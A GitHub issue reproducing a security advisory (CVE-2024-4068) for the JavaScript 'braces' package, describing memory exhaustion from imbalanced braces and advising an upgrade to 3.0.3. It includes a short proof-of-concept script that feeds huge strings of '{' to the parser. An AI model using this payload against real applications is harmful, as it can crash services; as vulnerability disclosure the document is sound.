You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
braces is a Bash-like brace expansion, implemented in JavaScript.
Affected versions of this package are vulnerable to Uncontrolled resource consumption due improper limitation of the number of characters it can handle, through the parse function. An attacker can cause the application to allocate excessive memory and potentially crash by sending imbalanced braces as input.
PoC
const{ braces }=require('micromatch');console.log("Executing payloads...");constmaxRepeats=10;for(letrepeats=1;repeats<=maxRepeats;repeats+=1){constpayload='{'.repeat(repeats*90000);console.log(`Testing with ${repeats} repeats...`);conststartTime=Date.now();braces(payload);constendTime=Date.now();constexecutionTime=endTime-startTime;console.log(`Regex executed in ${executionTime/1000}s.\n`);}
Detailed paths
Overview
braces is a Bash-like brace expansion, implemented in JavaScript.
Affected versions of this package are vulnerable to Uncontrolled resource consumption due improper limitation of the number of characters it can handle, through the
parse
function. An attacker can cause the application to allocate excessive memory and potentially crash by sending imbalanced braces as input.PoC
Remediation
Upgrade
braces
to version 3.0.3 or higher.References
SNYK-JS-BRACES-6838727
(CVE-2024-4068) [email protected]
The text was updated successfully, but these errors were encountered: